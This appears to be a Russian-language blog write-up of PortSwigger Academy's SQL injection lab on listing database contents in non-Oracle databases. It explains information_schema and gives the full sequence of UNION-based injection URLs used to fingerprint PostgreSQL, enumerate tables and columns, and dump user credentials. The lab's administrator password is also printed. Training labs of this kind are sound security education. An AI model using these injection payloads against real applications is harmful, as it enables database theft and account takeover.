Найти тему
ЗА ИБАС

[PortSwigger, 9/16 SQLi] Атака SQL-инъекцией, перечисление содержимого базы данных в БД, отличных от Oracle.

Оглавление

Сегодня на очереди обзор 9 лабораторной работы по SQL-инъекциям с PortSwigger Academy - SQL injection attack, listing the database contents on non-Oracle databases. В ней мы поймем как определять какие таблицы есть в БД, и как можно рыскать внутри них

Душная теория, которая не может быть не душной

Большинство типов баз данных (за заметным исключением Oracle) имеют набор представлений (фича, а не бага), называемых информационной схемой, которые предоставляют информацию о базе данных.

Вы можете запросить information_schema.tables, чтобы получить список таблиц в базе данных:

SELECT * FROM information_schema.tables

Это вернет следующий вывод

-2

Эти выходные данные указывают на наличие трех таблиц с именами «Products», «Users» и «Feedback».

Затем вы можете запросить information_schema.columns, чтобы получить список столбцов в отдельных таблицах:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

И этот запрос выведет следующее:

-3

Таким образом получаем столбцы таблицы, и тип данных, соответвующий данному столбцу

Постановка задачи

Эта лабораторная работа содержит уязвимость SQL-инъекции в фильтре категорий продуктов. Результаты запроса возвращаются в ответе приложения, поэтому вы можете использовать атаку UNION для извлечения данных из других таблиц.

Приложение имеет функцию входа в систему, а база данных содержит таблицу с именами пользователей и паролями. Вам нужно определить имя этой таблицы и содержащихся в ней столбцов, а затем получить содержимое таблицы, чтобы получить имя пользователя и пароль всех пользователей.

Чтобы выполнить лабораторную работу, войдите в систему как
administrator.

Решение лабораторной работы

На данный момент мы не знаем БД, с которой будем играться, и необходимо методом тыка научного подхода перебрать все варианты комментирования. Как же нам повезло, и с первого раза мы нашли нужный

https://0ad20031040234b2c1dc3c7100af00e6.web-security-academy.net/filter?category=' --
-4

Далее нам небходимо понимать, с какой БД мы работаем. Пожалуй пропустим пруфы со скринами, чтобы статья была проще для чтения и восприятия

Узнали количество столбцов

https://0ad20031040234b2c1dc3c7100af00e6.web-security-academy.net/filter?category=' UNION SELECT NULL, NULL--

Узнали какие из них имеют текстовый вид

https://0ad20031040234b2c1dc3c7100af00e6.web-security-academy.net/filter?category=' UNION SELECT 'a', 'a'--


Теперь согласно
читлисту проверим все подходящие БД, и посмотрим, что в итоге нам подошло

https://0ad20031040234b2c1dc3c7100af00e6.web-security-academy.net/filter?category=' UNION SELECT version(), 'a'--
-5

Делаем вывод, что имеем дело с PostgreSQL

Согласно устройству PostgreSQL в таблице information_schema.tables есть столбец table_name, по которому из душной теории, мы и будем в будущем фильтровать нужные таблицы. Применяем инъекцию

https://0ad20031040234b2c1dc3c7100af00e6.web-security-academy.net/filter?category=' UNION SELECT table_name, NULL FROM information_schema.tables--
-6

И видим долгий длинный список таблиц, заведенных в БД. Просматриваем все имена, и находим подозрительную таблицу users_wwiohe, на которую и обратим наше внимание

https://0ad20031040234b2c1dc3c7100af00e6.web-security-academy.net/filter?category=' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users_wwiohe'--
-7

И получаем следующий вывод username_cvncnb password_ribttg

На этом моменте у нас уже нет смысла использовать information_schema.columns если мы и так знаем таблицу, в которую мы хотим проникнуть, так что исключим ее из наших запросов. Это можно было еще сделать на прошлом этапе, но ничего страшного

https://0ad20031040234b2c1dc3c7100af00e6.web-security-academy.net/filter?category=' UNION SELECT username_cvncnb, password_ribttg FROM users_wwiohe--
-8

И получаем креды админа, под которым и будем авторизоваться

administrator - ytigtlqftqb8eokmt67d

-9

И получаем поздравления о пройденной лабой! Молодчина :)

-10